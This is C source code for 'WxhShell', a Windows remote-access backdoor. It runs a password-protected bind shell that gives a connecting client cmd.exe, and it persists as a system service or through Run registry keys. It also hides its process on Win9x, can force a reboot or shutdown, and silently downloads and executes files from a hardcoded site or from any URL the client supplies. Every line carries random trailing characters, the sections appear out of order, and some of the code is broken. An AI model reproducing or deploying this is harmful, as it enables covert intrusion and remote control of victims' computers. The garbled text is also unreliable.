    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); STMc@MeZU_  
    if(Boot(SHUTDOWN)) 9I0}:J;7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k@1\ULo  
    else { zcCX;N  
    closesocket(wsh); >;Er[Rywr  
    ExitThread(0); 8,0p14I5;  
    } sdq8wn  
    break; c]]OV7;)>  
    } 9Xw(|22  
  // 获取shell H+&c=~D\_  
  case 's': { #QdBI{2  
    CmdShell(wsh); +an.z3?w  
    closesocket(wsh); [[(29|`]  
    ExitThread(0); D/1{v  
    break; ,k}-I65M*t  
  } U~krv> I  
  // 退出 4(5NHsvp  
  case 'x': { G]Fp},  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); if6/ +7  
    CloseIt(wsh); 2y/|/IW=  
    break; P@ Oq'y[  
    } C*A!`Q?1Y  
  // 离开 FsI51@V72Q  
  case 'q': { dTN[E6#R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `Paz   
    closesocket(wsh); s+{)K  
    WSACleanup(); 6?an._ C  
    exit(1); E! '|FJ  
    break; XJ &'4h  
        } 4-RzWSFbo`  
  } r(g:b ^S  
  } e nsou!l  
15NeC7GAh  
  // 提示信息 oWg"f*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z(F`M;1>xI  
} F@</Ev  
  } [ +w=  
{OA2';3  
  return; g"pjWj)?  
} n o6q3<re  
`cee tr=  
// shell模块句柄 _}4l4  
int CmdShell(SOCKET sock) Yyl(<,Yi  
{ -:mT8'.F-  
STARTUPINFO si; Pc"g  
ZeroMemory(&si,sizeof(si)); 8_yhV{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tf [o'=2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^! ?wh  
PROCESS_INFORMATION ProcessInfo; 5Q $6~\  
char cmdline[]="cmd"; 7OF6;@<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vUtA@  
  return 0; 6x?3%0Km  
} }@R*U0*E  
X8l|^ [2F  
// 自身启动模式 IIrp-EMXJ  
int StartFromService(void) [FhFeW>  
{ x6-bAf  
typedef struct U]!~C 1cmw  
{ IEbk_-h[  
  DWORD ExitStatus; /)Ga<  
  DWORD PebBaseAddress; ZboY]1L[j  
  DWORD AffinityMask; gaBVD*>  
  DWORD BasePriority; (c^ZFh2]  
  ULONG UniqueProcessId; JerueF;J  
  ULONG InheritedFromUniqueProcessId; =\[}@Kh  
}   PROCESS_BASIC_INFORMATION; H_ecb;|mP  
jv<C#0E^  
PROCNTQSIP NtQueryInformationProcess; Ze?(N~  
wtm=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vz{Z tE"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $G $147z  
1MVzu7  
  HANDLE             hProcess; qKL :#ny  
  PROCESS_BASIC_INFORMATION pbi; 1/hk3m(C  
NG)Xk[q4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BRSOE U\=  
  if(NULL == hInst ) return 0; SuorCp]  
2.6F5&:($  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m+3U[KKvG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -FxE!K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )p?p39>h  
f_{O U E  
  if (!NtQueryInformationProcess) return 0; 5:" zs  
O4l]Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CVa?L"lK  
  if(!hProcess) return 0; pb`!_GmB  
K |Z]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F4o)6+YM   
xoT|fgb  
  CloseHandle(hProcess); TmH'_t.*T~  
h#EksX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -n>JlfCd2  
if(hProcess==NULL) return 0; 2Pa Rbh{"  
= nIl$9  
HMODULE hMod; j 1Ng[  
char procName[255]; v c r5  
unsigned long cbNeeded; K4.GAGd  
$>Mqo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~WKcO&  
ko Tb{UL  
  CloseHandle(hProcess); $VgazUH% =  
76'vsg  
if(strstr(procName,"services")) return 1; // 以服务启动 AhNy+p{  
D=!e6E<>@  
  return 0; // 注册表启动 7?[{/`k~?  
} q%rfKHMA50  
udjahI<{  
// 主模块 .5ItH^  
int StartWxhshell(LPSTR lpCmdLine) "&Y5Nh  
{ A/xo'G  
  SOCKET wsl; bAd$ >DI[  
BOOL val=TRUE; mqIcc'6f  
  int port=0; eHt |O~  
  struct sockaddr_in door; gPA), NrN  
#&oL iz=hZ  
  if(wscfg.ws_autoins) Install();  '7j!B1K-  
vT&xM  
port=atoi(lpCmdLine); .&Q'aOg  
;O Td<  
if(port<=0) port=wscfg.ws_port; uy t'  
|J_kS90=  
  WSADATA data; H:x{qS4Si  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B(z?IW&  
}ag -J."5M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ry Kc7<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U> @st="  
  door.sin_family = AF_INET; QL{^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HpQuro'Qh  
  door.sin_port = htons(port);  55<f  
"y5LojdCs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <,Z6=M`  
closesocket(wsl); W  :qQ  
return 1; P_:~!+W,  
} ([+u U!  
- wizUp  
  if(listen(wsl,2) == INVALID_SOCKET) { .8I\=+Zi  
closesocket(wsl); /xu#ZZ?8F_  
return 1; %`F &,!d  
} GmJ4AYEP  
  Wxhshell(wsl); ~dpU D F  
  WSACleanup(); L]_1z  
^kElb;d  
return 0; p3N/"t&>  
,{tK{XpS  
} L+rMBa  
n!Dy-)!`O  
// 以NT服务方式启动 o(w xu)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GIyb0XjTw  
{ c-dOb.v0  
DWORD   status = 0; Jh)x_&R&Q  
  DWORD   specificError = 0xfffffff; yGN2/>]  
DviRD[+q"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +wwb+aG6{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ew9\Y R}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tt=JvI9>  
  serviceStatus.dwWin32ExitCode     = 0; X5V8w4NN  
  serviceStatus.dwServiceSpecificExitCode = 0; x  bsk  
  serviceStatus.dwCheckPoint       = 0; u3Qm"?$`  
  serviceStatus.dwWaitHint       = 0; ST *\Q  
}\s\fNSQ/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rx}*I00  
  if (hServiceStatusHandle==0) return; Bj-80d,  
+Ui @3Q  
status = GetLastError(); I>(3\z4s  
  if (status!=NO_ERROR) a fOix"  
{ C1V@\mRi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wTu_Am  
    serviceStatus.dwCheckPoint       = 0; L93PDp4v  
    serviceStatus.dwWaitHint       = 0; PU"C('AP  
    serviceStatus.dwWin32ExitCode     = status; VD,p<u{r  
    serviceStatus.dwServiceSpecificExitCode = specificError; PqhR^re0.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8H%-/2NW  
    return; rKtr&w7X  
  } {Y\W&Edw%  
\9Z1'W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $P{|^ou3a#  
  serviceStatus.dwCheckPoint       = 0; </.9QV  
  serviceStatus.dwWaitHint       = 0; 91Fx0(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z;#DX15Rj  
} h.~:UR*   
T@S\:P  
// 处理NT服务事件,比如:启动、停止 t,f)!D$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4=Wtv/ 3  
{ .:`+4n  
switch(fdwControl) "IjCuR;#  
{ n B5:X  
case SERVICE_CONTROL_STOP: _gGI&0(VM  
  serviceStatus.dwWin32ExitCode = 0; EGY'a*]cU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e\[z Q 2Z3  
  serviceStatus.dwCheckPoint   = 0; w,,QXJe{Z_  
  serviceStatus.dwWaitHint     = 0; ;`{PA !>  
  { ? 0}M'L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QO-R>  
  } LhfI"fc  
  return; !' D1aea5  
case SERVICE_CONTROL_PAUSE: )}G?^rDH(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gl4(-e'b  
  break; D.i(Irqw!  
case SERVICE_CONTROL_CONTINUE: _0v+g1x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0G`FXj}L  
  break; Ez= Q{g  
case SERVICE_CONTROL_INTERROGATE: qG=>eRR  
  break; BotGPk><c  
}; AB.gVw| 4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )t$<FP  
} &gNb+z+  
J0 [^hH  
// 标准应用程序主函数 A<1:vV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8Moe8X#3  
{ :Z}d#Rbl  
n%SR5+N"  
// 获取操作系统版本 )*b dG'}  
OsIsNt=GetOsVer(); yR`X3.:*]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HFtl4P  
l@h|os  
  // 从命令行安装 NFVr$?P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3y[uH'  
z ?3G`  
  // 下载执行文件 4/z K3%J  
if(wscfg.ws_downexe) { \~LwlOo%R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >nqDUGnEo>  
  WinExec(wscfg.ws_filenam,SW_HIDE); J'Z!`R|  
} 3?R56$-+  
WDM^rjA|j  
if(!OsIsNt) { 5$<\  
// 如果时win9x,隐藏进程并且设置为注册表启动 k3pY3TA@w+  
HideProc(); ]uikE2nn  
StartWxhshell(lpCmdLine); 3@t&5UjwQ  
} D?)^{)49  
else )\k({S  
  if(StartFromService()) ~36)3W[4  
  // 以服务方式启动 hS( )OY  
  StartServiceCtrlDispatcher(DispatchTable);  d*Wg>8|  
else oHW:s96e  
  // 普通方式启动 ]12ypcf  
  StartWxhshell(lpCmdLine); ! H^,p$`[i  
dN8@ 0AMSf  
return 0; {\SJr:  
} c,v?2*<  
Hv>16W$_  
;Nd,K C0k  
;cFlZGw   
=========================================== K KCzq |  
#835 $vOe  
pPa3byWf  
; qQ* p  
o>#ue<Bc6  
&f;<[_QI=  
" N084k}io  
(>LJv |wn  
#include <stdio.h> PQ#zF&gL9t  
#include <string.h> vmY 88Kx&S  
#include <windows.h> 4P>4d +  
#include <winsock2.h> 5Nt40)E}sN  
#include <winsvc.h> ;b-d2R  
#include <urlmon.h> kT=KxS{  
8Hf:yG,  
#pragma comment (lib, "Ws2_32.lib") %mO.ur>21  
#pragma comment (lib, "urlmon.lib") [yEH!7  
Y*KP1=Md  
#define MAX_USER   100 // 最大客户端连接数 >l$qE  
#define BUF_SOCK   200 // sock buffer >k)zd-  
#define KEY_BUFF   255 // 输入 buffer gdx2&~  
KysJ3G.k\  
#define REBOOT     0   // 重启 }OJ,<!v2pc  
#define SHUTDOWN   1   // 关机 bMrR  
FUD M]:XQ  
#define DEF_PORT   5000 // 监听端口  av!'UZP  
/Tc I  
#define REG_LEN     16   // 注册表键长度 x+%(z8wD  
#define SVC_LEN     80   // NT服务名长度 Q|CLis-  
Wifr%&t{J  
// 从dll定义API g?mfpwZj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w]& o]VP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mqk[+n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F4#^jat{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $lC*q  
T``O!>J  
// wxhshell配置信息 G(*7hs  
struct WSCFG { &l<~Xd#  
  int ws_port;         // 监听端口 "lT>V)NB'  
  char ws_passstr[REG_LEN]; // 口令 >}p'E9J?r  
  int ws_autoins;       // 安装标记, 1=yes 0=no .Jvy0B} B  
  char ws_regname[REG_LEN]; // 注册表键名 }23#z  
  char ws_svcname[REG_LEN]; // 服务名 Vi5&%/Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (TF;+FRW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f-'$tMs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sT;:V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iDdmr32E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tnn,lWu|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O\5q_>]  
mi>CHa+$  
}; o(|fapK.  
x392uS$#  
// default Wxhshell configuration "+BNas^rF  
struct WSCFG wscfg={DEF_PORT, vrr` ^UB2  
    "xuhuanlingzhe", 'a6:3*  
    1, qUuvM  
    "Wxhshell", wvu h   
    "Wxhshell", 4hLv"R.  
            "WxhShell Service", WokQ X"  
    "Wrsky Windows CmdShell Service", OZc.Rtgc  
    "Please Input Your Password: ", g0&Rl  
  1, 1}#RUqFrvS  
  "http://www.wrsky.com/wxhshell.exe", /`x)B(b  
  "Wxhshell.exe" Fu/{*4  
    }; L[LgQ7es Q  
6Y-sc*5  
// 消息定义模块 C\d5t4s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \~{b;$N}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P?Fm<s:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J ;e/S6l  
char *msg_ws_ext="\n\rExit."; \@eC^D2  
char *msg_ws_end="\n\rQuit."; YYiT,Xp<A  
char *msg_ws_boot="\n\rReboot..."; 8g!C'5  
char *msg_ws_poff="\n\rShutdown..."; lDd8dT-Q.  
char *msg_ws_down="\n\rSave to "; w*3DIVlxL  
aDreN*n  
char *msg_ws_err="\n\rErr!"; YJ[Jo3M@j0  
char *msg_ws_ok="\n\rOK!"; h4 X>  
u}L;/1,B  
char ExeFile[MAX_PATH]; R2%>y5dD  
int nUser = 0; x.:k0;%Q  
HANDLE handles[MAX_USER]; 4\?GA`@  
int OsIsNt; q&y9(ZvI  
1MF0HiC  
SERVICE_STATUS       serviceStatus; $sTvXf:g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TM1D|H  
"VfV;)]|w  
// 函数声明 #ivN-WKCl  
int Install(void); /cN. -lEo%  
int Uninstall(void); iOO1\9{@  
int DownloadFile(char *sURL, SOCKET wsh); A` iZ"?  
int Boot(int flag); sIZ|N"2]A*  
void HideProc(void); i H^Gv*  
int GetOsVer(void); G^ 2a<?Di  
int Wxhshell(SOCKET wsl); DwLl}{r'  
void TalkWithClient(void *cs); ]PI|Xl  
int CmdShell(SOCKET sock); #P''+$5,  
int StartFromService(void); UJX=lh.o  
int StartWxhshell(LPSTR lpCmdLine); yN Bb(!u  
i7RW8*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V`7^v:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]mW)T0_  
1~x=bphS  
// 数据结构和表定义 *k7vm%#ns  
SERVICE_TABLE_ENTRY DispatchTable[] = *YI>Q@F9  
{ wv~?<DF  
{wscfg.ws_svcname, NTServiceMain}, \s[/{3  
{NULL, NULL} @Q=P6Rz {S  
}; o@d+<6Um  
I9 R\)3"  
// 自我安装 t#p*{S 3u  
int Install(void) J6) &b7  
{ hSvA dT]m  
  char svExeFile[MAX_PATH];  EK:s#  
  HKEY key; s|1BqoE  
  strcpy(svExeFile,ExeFile); \"r*wae  
5G-}'-R  
// 如果是win9x系统,修改注册表设为自启动 ,3zF_y(*Y  
if(!OsIsNt) { N9M''H *VS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \G}$+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zMXlLRC0  
  RegCloseKey(key); rX*ATN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ifc}=:nr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;I#S m;  
  RegCloseKey(key); 4rh*&'  
  return 0; /cy'% .!  
    } a s{^~8B  
  } ;,8bb(j  
} O@ GEl  
else { =.]>,N`C  
n>w/T"  
// 如果是NT以上系统,安装为系统服务 B~_='0Gm[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4@wH4H8  
if (schSCManager!=0) f|*vWHSM  
{ $=c79Al(  
  SC_HANDLE schService = CreateService e$E~@{[1)  
  ( cdDMV%V  
  schSCManager, *hHy> (*  
  wscfg.ws_svcname, 86^xq#+Uw  
  wscfg.ws_svcdisp, ',Mi D=_  
  SERVICE_ALL_ACCESS, {ZS-]|Kx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uF!3a$4]  
  SERVICE_AUTO_START, #L{+V?  
  SERVICE_ERROR_NORMAL, OZF^w[ `w  
  svExeFile, 5ml^3,x  
  NULL, 0`KB|=>  
  NULL, Sd3KY9,  
  NULL, i4Y_5  
  NULL, (O N \-*  
  NULL )U`"3R  
  ); >@yHa'*9S  
  if (schService!=0) >A$J5B >d  
  { x9#>0 4s  
  CloseServiceHandle(schService); 959i2z  
  CloseServiceHandle(schSCManager); 3 <V{.T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _jw A_  
  strcat(svExeFile,wscfg.ws_svcname); P&/PCSf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h^P>,dy0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JD^&d~n_  
  RegCloseKey(key); p%A(5DE  
  return 0; .(Gq9m[~8H  
    } SWjOJjn  
  } X517PT8O  
  CloseServiceHandle(schSCManager); @15%fX`*o  
} iQczvn)"m  
} v hUn3|  
1NO<K`  
return 1; &z-f,`yG  
} 8k$iz@e  
%d+:0.+`n  
// 自我卸载 uc?QS~H&w  
int Uninstall(void) krTH<- P  
{ p~h= ]o'i  
  HKEY key; <^&NA<2  
R1z\b~@"  
if(!OsIsNt) { G?)vqmJ%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "D7*en  
  RegDeleteValue(key,wscfg.ws_regname); ?op6_a-wm  
  RegCloseKey(key); Ga-AhP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :K&   
  RegDeleteValue(key,wscfg.ws_regname); yV :DR  
  RegCloseKey(key); #F5O>9hA  
  return 0; 0X\,!FL  
  } +XU*NAD,!  
} \xk`o5/{  
} QQKvy0?1  
else { *1V}vJvi  
x%ZjGDFm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -OZRSjmY  
if (schSCManager!=0)  tFvti5  
{ !`vm7FN"u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lY_E=K]  
  if (schService!=0) n{pS+u z  
  { -IJt( X|  
  if(DeleteService(schService)!=0) { GmN} +(  
  CloseServiceHandle(schService); xaWd \]UF  
  CloseServiceHandle(schSCManager); ]yN]^% PYH  
  return 0; 6a PZW  
  } .:c^G[CQ^9  
  CloseServiceHandle(schService); no+{9Uf  
  } &|xN=U/  
  CloseServiceHandle(schSCManager); Yt2_*K@rC  
} XU.ZYYZ=  
} J0w[vrs&]  
J'y*;@4l^:  
return 1; YMnG-'^Z  
} ,T_HE3K  
VB*$lx X  
// 从指定url下载文件 TPp%II'*  
int DownloadFile(char *sURL, SOCKET wsh) YY]JjMkU  
{ NFPW#-TF  
  HRESULT hr; AV AF!Z  
char seps[]= "/"; ]7v-qd  
char *token; qHg\n)R"x!  
char *file; BBnbXhxZ  
char myURL[MAX_PATH]; ; P I=jp  
char myFILE[MAX_PATH]; 0U ?1Yh7 m  
gA~BhDS  
strcpy(myURL,sURL); @DfjeS)u^  
  token=strtok(myURL,seps); '0U+M{  
  while(token!=NULL) ^]^Y~$u  
  { S1wt>}w0$  
    file=token; Lie\3W  
  token=strtok(NULL,seps); }m/aigA[1  
  } ;%odN d  
H:4r6-{  
GetCurrentDirectory(MAX_PATH,myFILE); &CF74AN#  
strcat(myFILE, "\\"); i 4lR$]@  
strcat(myFILE, file); Z<K[  
  send(wsh,myFILE,strlen(myFILE),0); %FLz}QW*  
send(wsh,"...",3,0); qS>P,>C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~d?7\:n  
  if(hr==S_OK) +Vt@~Z4K  
return 0; 8Z:NT_Ss  
else 3\|e8(bc  
return 1; ' ~lC85  
I<z /Y?  
} J:)Q)MT24:  
o;M"C[  
// 系统电源模块 d%VGfSrKq  
int Boot(int flag) cG6Q$  
{ 9s6, &'  
  HANDLE hToken;  nsij;C  
  TOKEN_PRIVILEGES tkp; 1Jc-hrN-  
}&d]Uv/4  
  if(OsIsNt) { prb;q~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #?YQ&o~gZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZGSb&!Ke  
    tkp.PrivilegeCount = 1; + B%fp*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @fRB0m"3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {$bAs9L  
if(flag==REBOOT) { zGj0'!!-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w '~f Z*  
  return 0; c_x6FoE;L  
} ^O6PZm5J}  
else { ,E$^i~OO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |L.QIr,jCC  
  return 0; V9I5/~0c  
} ,;y 5Mu8  
  } [mJc c  
  else { YDyOhv  
if(flag==REBOOT) { q El:2<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ox{)O/aj  
  return 0; yDWzsA/X  
} 2Y\,[$z  
else { qm4 Ejc<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tcSn`+Bu_`  
  return 0; BOrfKtG\  
} z^gf@r  
} P7&a~N$T6W  
=PP]LDlJs  
return 1; vK!,vKa.  
} R4 ;^R  
F]N9ZWn /  
// win9x进程隐藏模块 I5wf|wB-  
void HideProc(void) ~=aGv%vX  
{ zC(DigN  
Mou>|U 1e"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *Tl"~)'t~  
  if ( hKernel != NULL ) yP :>vFd7  
  { 2shr&M fp[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :[#HP66[O5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q[;!z1ur  
    FreeLibrary(hKernel); 1t+]r:{  
  } 8|.( Y  
AmM^&  
return; ;gc Q9L  
} |fYNkD 8z1  
?y>xC|kt  
// 获取操作系统版本 "(F>?pq  
int GetOsVer(void) ^DS9D:oE  
{ KXL]Qw FN  
  OSVERSIONINFO winfo; lRi-?I| ~9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \S[:  
  GetVersionEx(&winfo); rtS(iD@B"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !`hiXDk*2  
  return 1; nmn$$=~)  
  else /(8Usu?g.  
  return 0; &[`p qX  
} eh2w7 @7Q  
3v :PBmE  
// 客户端句柄模块 oZHsCQ%  
int Wxhshell(SOCKET wsl) 1Cki}$k@  
{ ;hA>?o_i(  
  SOCKET wsh; 3o9`Ko0  
  struct sockaddr_in client; DPw"UY:  
  DWORD myID; iK#5HW{  
(5]<t&M  
  while(nUser<MAX_USER) iIA5ylf{E  
{ _Ft4F`pM  
  int nSize=sizeof(client); R!0O[i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +v2Fr}  
  if(wsh==INVALID_SOCKET) return 1; HUuL3lYka  
5&D)W>{d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~'m GGH2  
if(handles[nUser]==0) 9eo$Duws  
  closesocket(wsh); ;g?oU "YM  
else r@5_LD@f  
  nUser++; " |[w.`  
  } \\AufAkJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cod__.  
Z@>hN%{d+g  
  return 0; h-+9Bv]  
} 1q0DOf]!T  
5, R\tJCK  
// 关闭 socket UX}ZE.cV  
void CloseIt(SOCKET wsh) |'9%vtbM  
{ \`}Rdr!p%  
closesocket(wsh); v]& )+0  
nUser--; Qz2Y w `  
ExitThread(0); PVH^yWi n  
} -lV]((I&  
.0kltnB  
// 客户端请求句柄 D^yZ!}Kl  
void TalkWithClient(void *cs) Gl}[1<~o  
{ qqA(Swe)T  
A&*lb7X  
  SOCKET wsh=(SOCKET)cs; _p<W  
  char pwd[SVC_LEN]; q4'szDYO2  
  char cmd[KEY_BUFF]; VHwb 7f]gq  
char chr[1]; U??P  
int i,j; ukHSHsR  
(JHzwI8+  
  while (nUser < MAX_USER) { wi^zXcVj  
bRT1~)  
if(wscfg.ws_passstr) { xpCzx=n3.m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 z0j}xY%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <@6K(  
  //ZeroMemory(pwd,KEY_BUFF); teH.e!S  
      i=0; O32p8AxEz  
  while(i<SVC_LEN) { Fka&\9i  
1;?n]L`T  
  // 设置超时 iU"jV*P]  
  fd_set FdRead; Bd jo3eX  
  struct timeval TimeOut; oE \Cwd  
  FD_ZERO(&FdRead); d.Wq@(ZoA  
  FD_SET(wsh,&FdRead); Q%)da)0:c  
  TimeOut.tv_sec=8; hEla8L4Y  
  TimeOut.tv_usec=0; C1&~Y.6m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *"Yz"PK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IaMZPl  
xj`ni G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,{==f7|w  
  pwd=chr[0]; |s[kY  
  if(chr[0]==0xd || chr[0]==0xa) { tS#=I.ET  
  pwd=0; :EJ8^'0Q  
  break; le60b@2G0  
  } ~2u~}v5m7  
  i++; 8CCd6)cG  
    } C".nB12  
Xi"+{6  
  // 如果是非法用户,关闭 socket _`3'D`s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *+|D8xp  
} $>Md]/I8  
I~Y1DP)R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !qGER.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EGpN@  
S}L$-7Ct  
while(1) { U9^o"vT  
%]NaHf  
  ZeroMemory(cmd,KEY_BUFF);  dxHKXw  
@CGci lS=  
      // 自动支持客户端 telnet标准   -M=#U\D  
  j=0; :yg:sU  
  while(j<KEY_BUFF) { Nl"Xl?y}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jw63sn  
  cmd[j]=chr[0]; MzUNk`T @  
  if(chr[0]==0xa || chr[0]==0xd) { w7Fz(`\  
  cmd[j]=0; WRa1VU&f  
  break; BG ] w2=  
  } t~_j+k0K#  
  j++; U~9Y9qzy,  
    } Pn?Ujjv  
^G :}%4  
  // 下载文件 ]x)^/ d  
  if(strstr(cmd,"http://")) { &n6'r^[D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Q\CJ9  
  if(DownloadFile(cmd,wsh)) hG1\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w=e_@^Fkx  
  else {jyI7 r#X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bUv}({  
  } hA?Flq2QV  
  else { (L`7-6e(Ab  
QuB`}rfLf  
    switch(cmd[0]) { \!-IY  
  FYwMmb ~3  
